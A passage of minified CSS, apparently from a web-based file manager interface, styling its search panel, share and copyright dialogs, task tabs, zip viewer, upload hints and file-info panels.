.share_title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share_title_info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share_info{color:#fff;float:left;font-size:1em;}.topbar .content .share_info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top_right div.share_info_user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top_right div.share_info_user .btn_download,.topbar .content .top_right div.share_info_user .btn.button_my_share{padding:4px 20px;margin-left:5px;}.topbar .content .top_right div.share_info_user .dropdown-toggle{height:16px;}.common_footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common_footer .copyright_bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common_footer .copyright_bottom:hover{color:#f60;border-bottom:none;}.do_search{color:#888;}.do_search .search_header{padding:10px;padding-bottom:0px;}.do_search .search_header input[type='checkbox']{padding-left:0px;}.do_search .search_header label{font-size:1em;}.do_search .search_header .btn-right{margin:-5px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;}.do_search .search_header .s_br{margin-bottom:8px;line-height:25px;}.do_search .search_header #search_value,.do_search .search_header #search_path,.do_search .search_header #search_ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do_search .search_header #search_value:focus,.do_search .search_header #search_path:focus,.do_search .search_header #search_ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do_search .search_header #search_value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do_search #search_is_case{margin-left:10px;}.do_search .search_desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do_search .search_result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;border-bottom-left-radius:3px;border-bottom-right-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do_search .search_result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;word-wrap:break-word;word-break:break-all;overflow:hidden;}.do_search .search_result .file-item .file-info:hover{background:#eee;}.do_search .search_result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do_search .search_result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do_search .search_result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do_search .search_result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do_search .search_result .file-item .file-info .file-icon img{width:100%;height:100%;}.do_search .search_result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do_search .search_result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;background:#fff;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-item .file-info .goto:hover{background:#fbbc00;color:#fff;}.do_search .search_result .file-item .file-info:hover .goto{display:block;}.do_search .search_result .file-item .keyword{background:#ffef65;color:#000;}.do_search .search_result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do_search .search_result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do_search .search_result .file-item .result-item .result-info:hover{background:#eee;}.do_search .search_result .file-item .result-item .result-info.this,.do_search .search_result .file-item .result-item .result-info.this:hover{background:#63acff;}.do_search .search_result .file-item .result-item .result-info.this .line,.do_search .search_result .file-item .result-item .result-info.this .search-info,.do_search .search_result .file-item .result-item .result-info.this:hover .line,.do_search .search_result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do_search .search_result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do_search .search_result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do_search .search_result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}.task_tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task_tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task_tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task_tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task_tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background:rgba(255,255,255,0.2);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init_loading{position:fixed;left:50%;margin-left:-80px;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init_loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init_loading img{border-radius:10px;}.space_info_bar{width:110px;}.space_info_bar .space_process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space_info_bar .space_process .space_process_use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.space_info_bar .space_process .space_process_use.warning{background-color:#f00 !important;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}#body div.app_list{position:absolute;left:150px;width:initial;margin:15px 0 20px 15px;right:20px;padding-bottom:60px;}#body div.app_list .app-list{margin-top:10px;border-top:1px solid #ddd;}#body div.app_list .app-list .app_li{float:left;width:150px;height:150px;border:1px solid #e6e6e6;margin:20px 20px 0 0;list-style:none;border-radius:3px;box-shadow:0 2px 7px #f0f0f0;}#body div.app_list .app-list .app_li:hover{box-shadow:0 5px 20px #ddd;}#body div.app_list .app-list .app_li a.button{margin:0;}#body div.app_list .app-list .app_li a.icon{float:left;width:100%;background:#eee;text-align:center;padding:8px 0;}#body div.app_list .app-list .app_li a.icon img{width:64px;height:64px;border-radius:10px;box-shadow:0 0 10px #999;}#body div.app_list .app-list .app_li p{width:100%;text-align:center;margin:0;color:#666;height:25px;overflow:hidden;}#body div.app_list .app-list .app_li p span{display:block;word-break:break-all;}#body div.app_list .app-list .app_li p span.title{font-size:1.15em;line-height:33px;height:33px;}#body div.app_list .app-list .app_li p span.info{display:none;}#body div.app_list .app-list .app_li .btn-group{margin:8px auto;text-align:center;display:block;}#body div.app_list .app-list .app_li .btn-group .btn-default{width:70px;}#body div.app_list .app-list .app_li .btn-group>.btn{float:none;}#body div.app_list .app-list .app_li .btn-group .btn:first-child:not(:last-child):not(.dropdown-toggle){height:17px;width:70px;height:18px\0;}#body div.app_list .app-list .app_li .btn-group .btn+.dropdown-toggle{height:17px;color:#aaa;height:18px\0;width:8px;width:25px;padding-left:0;padding-right:0;}#body div.app_list .app-list .app_li .btn-group .dropdown-menu{min-width:100px;right:15px;}.zipViewDialog .aui_content{min-width:400px;position:relative;}.zipViewDialog .zipViewContent{position:absolute;left:0;right:0;top:35px;bottom:0;margin:0 10px 10px 10px;border-radius:3px;border:1px solid #eee;margin:0px;min-width:400px;border:none;top:0px;}.zipViewDialog .zipViewContent #folderListZip{padding:5px;}.zipViewDialog .zipViewContent .header_title{height:23px;line-height:23px;border-bottom:1px solid #ddd;border-top:1px solid #ddd;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;}.zipViewDialog .zipViewContent .header_title .item{float:left;}.zipViewDialog .zipViewContent .header_title .item span{display:block;border-right:1px solid #ddd;padding-left:10px;cursor:default;}.zipViewDialog .zipViewContent .header_title .name{width:60%;}.zipViewDialog .zipViewContent .header_title .size{width:10%;}.zipViewDialog .zipViewContent .header_title .mtime{width:30%;}.zipViewDialog .zipViewContent .header_title .item.mtime span{border-right:none;}.zipViewDialog .zipViewContent .ztree{padding:0px;position:absolute;top:25px;left:0;right:0px;bottom:26px;overflow:auto;}.zipViewDialog .zipViewContent .ztree li,.zipViewDialog .zipViewContent .ztree li ul{width:100%;}.zipViewDialog .zipViewContent .ztree li a{position:relative;padding-left:0;color:#333;text-shadow:none;}.zipViewDialog .zipViewContent .ztree li a:hover{transition:none;}.zipViewDialog .zipViewContent .ztree li a.odd{background:#f1f7ff;}.zipViewDialog .zipViewContent .ztree li a:hover,.zipViewDialog .zipViewContent .ztree li a.odd:hover{background:#eee;}.zipViewDialog .zipViewContent .ztree li a.curSelectedNode,.zipViewDialog .zipViewContent .ztree li a.odd.curSelectedNode{background:#63acff;color:#fff;}.zipViewDialog .zipViewContent .ztree li a .time{float:right;width:27%;padding-left:3%;opacity:0.8;font-size:12px;}.zipViewDialog .zipViewContent .ztree li a .size{float:right;width:10%;text-align:right;opacity:0.8;font-size:12px;}.zipViewDialog .zipViewContent .ztree li a .menu_more{display:none;position:absolute;right:0px;top:0;text-align:center;width:25px;height:24px;background:#fff;background:rgba(50,50,50,0.1);color:#666;}.zipViewDialog .zipViewContent .ztree li a:hover .menu_more{display:block;}.zipViewDialog .zipViewContent .ztree li a.curSelectedNode .menu_more{display:block;color:#fff;}.zipViewDialog .zipViewContent .bottom{position:absolute;left:0;right:0px;bottom:0;width:100%;text-align:center;height:25px;line-height:25px;font-size:12px;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;border-top:1px solid #eee;}.support_space_not .share_dialog .content_box .content_info{padding:30px 20px 30px 20px;}.support_space_not .system_conennt .right_frame .group_title .group_size{display:none !important;}.support_space_not .size_max_set,.support_space_not .user_setting_more_btn,.support_space_not .user_setting_more{display:none;}.support_space_not .user_list .space,.support_space_not .share_view_info,.support_space_not .user_space_info{display:none;}.support_space_not .frame-main .user_space_info{display:none;}.support_space_not .frame-main .frame-left .group_space_use{display:none;}.support_space_not .frame-main .frame-left #folderList{bottom:57px;}.dropdown-menu.menu-topbar_user{right:6px;}.version_vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version_vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version_vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version_vip#version_vip_3{color:#fff;background:#ffc107;}.version_vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version_license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version_license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#ffc107;text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.8;filter:alpha(opacity=80);}.version_license a.line:hover{background:#ff9800;}.path_select_input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.copyright_dialog{width:400px !important;}.copyright_dialog,.share_dialog,.check_version_dialog{min-width:400px;}.copyright_dialog.dialog-simple .aui_outer,.share_dialog.dialog-simple .aui_outer,.check_version_dialog.dialog-simple .aui_outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);}.copyright_dialog.dialog-simple .aui_header,.share_dialog.dialog-simple .aui_header,.check_version_dialog.dialog-simple .aui_header{background:transparent;opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_nw,.copyright_dialog.dialog-simple .aui_n,.copyright_dialog.dialog-simple .aui_ne,.copyright_dialog.dialog-simple .aui_w,.copyright_dialog.dialog-simple .aui_e,.copyright_dialog.dialog-simple .aui_sw,.copyright_dialog.dialog-simple .aui_s,.copyright_dialog.dialog-simple .aui_se,.share_dialog.dialog-simple .aui_nw,.share_dialog.dialog-simple .aui_n,.share_dialog.dialog-simple .aui_ne,.share_dialog.dialog-simple .aui_w,.share_dialog.dialog-simple .aui_e,.share_dialog.dialog-simple .aui_sw,.share_dialog.dialog-simple .aui_s,.share_dialog.dialog-simple .aui_se,.check_version_dialog.dialog-simple .aui_nw,.check_version_dialog.dialog-simple .aui_n,.check_version_dialog.dialog-simple .aui_ne,.check_version_dialog.dialog-simple .aui_w,.check_version_dialog.dialog-simple .aui_e,.check_version_dialog.dialog-simple .aui_sw,.check_version_dialog.dialog-simple .aui_s,.check_version_dialog.dialog-simple .aui_se{height:0px;width:0px;background:none;}.copyright_dialog.dialog-simple .aui_inner,.share_dialog.dialog-simple .aui_inner,.check_version_dialog.dialog-simple .aui_inner{border:none;background:none;}.copyright_dialog.dialog-simple .aui_title,.share_dialog.dialog-simple .aui_title,.check_version_dialog.dialog-simple .aui_title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.copyright_dialog.dialog-simple .aui_min,.copyright_dialog.dialog-simple .aui_max,.share_dialog.dialog-simple .aui_min,.share_dialog.dialog-simple .aui_max,.check_version_dialog.dialog-simple .aui_min,.check_version_dialog.dialog-simple .aui_max{display:none;}.copyright_dialog.dialog-simple .aui_titleBar,.share_dialog.dialog-simple .aui_titleBar,.check_version_dialog.dialog-simple .aui_titleBar{bottom:0px;overflow:hidden;height:100px;margin-top:-120px;top:120px;border-radius:4px;}.copyright_dialog.dialog-simple .aui_close,.share_dialog.dialog-simple .aui_close,.check_version_dialog.dialog-simple .aui_close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.copyright_dialog.dialog-simple .aui_close:hover,.share_dialog.dialog-simple .aui_close:hover,.check_version_dialog.dialog-simple .aui_close:hover{opacity:0.6;filter:alpha(opacity=60);}.copyright_dialog.dialog-simple .aui_close:active,.share_dialog.dialog-simple .aui_close:active,.check_version_dialog.dialog-simple .aui_close:active{opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_close::before,.share_dialog.dialog-simple .aui_close::before,.check_version_dialog.dialog-simple .aui_close::before{padding-left:22px;line-height:140px;}.copyright_dialog .aui_footer,.share_dialog .aui_footer,.check_version_dialog .aui_footer{display:none;}.check_version_dialog .update_box{margin-top:0px;}.share_dialog .content_box .content_info .input_line .open_window,.pathinfo .input-group-btn .open_window{margin-right:-1px;border-radius:0px;}.copyright_dialog .copyright_dialog_content,.check_version_dialog .aui_content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.copyright_dialog .copyright_dialog_content .title,.check_version_dialog .aui_content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.copyright_dialog .copyright_dialog_content .title .logo,.check_version_dialog .aui_content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.copyright_dialog .copyright_dialog_content .title .logo i,.check_version_dialog .aui_content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.copyright_dialog .copyright_dialog_content .title .info,.check_version_dialog .aui_content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.copyright_dialog .copyright_dialog_content .content,.check_version_dialog .aui_content .content{padding:20px;}.copyright_dialog .copyright_dialog_content .content p,.check_version_dialog .aui_content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.copyright_dialog .copyright_dialog_content .content a,.check_version_dialog .aui_content .content a{padding-right:5px;}.copyright_dialog .copyright_dialog_content .content div,.check_version_dialog .aui_content .content div{text-align:center;padding-bottom:5px;}.check_version_dialog.dialog-simple .aui_titleBar{margin-top:-120px;}.share_dialog .content_box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share_dialog .content_box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share_dialog .content_box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share_dialog .content_box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share_dialog .content_box .share_view_info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share_dialog .content_box .content_info{padding:10px;padding-left:20px;}.share_dialog .content_box .content_info .input_line{margin:6px 0 8px 0;position:relative;}.share_dialog .content_box .content_info .input_line .input_title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share_dialog .content_box .content_info .input_line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share_dialog .content_box .content_info .input_line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.share_dialog .content_box .content_info .input_line label{margin-top:8px;margin-right:10px;}.share_dialog .content_box .content_info .input_line label input{margin:0 5px 5px 0;}.share_dialog .content_box .content_info .input_line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share_dialog .content_box .content_info .input_line #share_name{width:215px;margin-right:10px;}.share_dialog .content_box .content_info .input_line .share_url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share_dialog .content_box .content_info .input_line .share_more{line-height:33px;}.share_dialog .content_box .content_info .input_line .input-group-btn{float:left;}.share_dialog .content_box .content_info .input_line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share_dialog .content_box .content_info .input_line .open_window{margin-left:-12px;}.share_dialog .content_box .content_info .input_line .share_copy{width:60px;border-radius:0px;margin-left:-7px;}.share_dialog .content_box .content_info .input_line.select_path input[type="text"]{width:155px;}.share_dialog .content_box .content_info .input_line.select_path a.select_btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share_dialog .content_box .content_info .share_others{margin:-8px 0 -8px 0;}.share_dialog .content_box .share_action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share_dialog .content_box .share_action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share_dialog .content_box .share_action .share_remove_button,.share_dialog .content_box .share_action .remove_button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share_dialog .content_box .share_action .share_remove_button:hover,.share_dialog .content_box .share_action .remove_button:hover{color:#f30;}.fileList_icon .file{position:relative;}.fileList_icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.fileList_icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.fileList_list .file{position:relative;}.fileList_list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.fileList_list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui_footer .aui_buttons{padding:15px;}.pathSelectApi .aui_footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.fileContiner .file.file_not_readable,body div.fileContiner .file.file_not_readable.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_readable,body .frame-main .frame-left .ztree li a.file_not_readable.file_not_writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url_link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui_content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:350px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download_url{padding:0px 5px;width:100%;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info_chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:240px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file_md5_loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.pathinfo .download_url{margin-right:0;border-radius:3px 0 0 3px;}.file_drag_upload .aui_content{overflow-y:scroll;}.fileuploadinfo,.fileupload{color:#555;font-size:1em;}.fileuploadinfo{font-size:18px;color:#5499D9;margin-bottom:8px;border-bottom:1px solid #dde;padding-bottom:6px;}.fileuploadinfo em{font-size:1em;}.fileupload{padding-left:25px;}.fileupload span.status{padding-left:10px;font-size:10px;color:#f96;}.file_list{display:none;}.movie_player_dialog{overflow:hidden;}.flash_player{width:100%;height:100%;}.wmp_player{width:0%;height:0%;}.movie_player_dialog .aui_content{background:#000;}.dialog_path_remove .aui_content{word-wrap:break-word;width:auto;}.server_dwonload_textarea textarea{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px 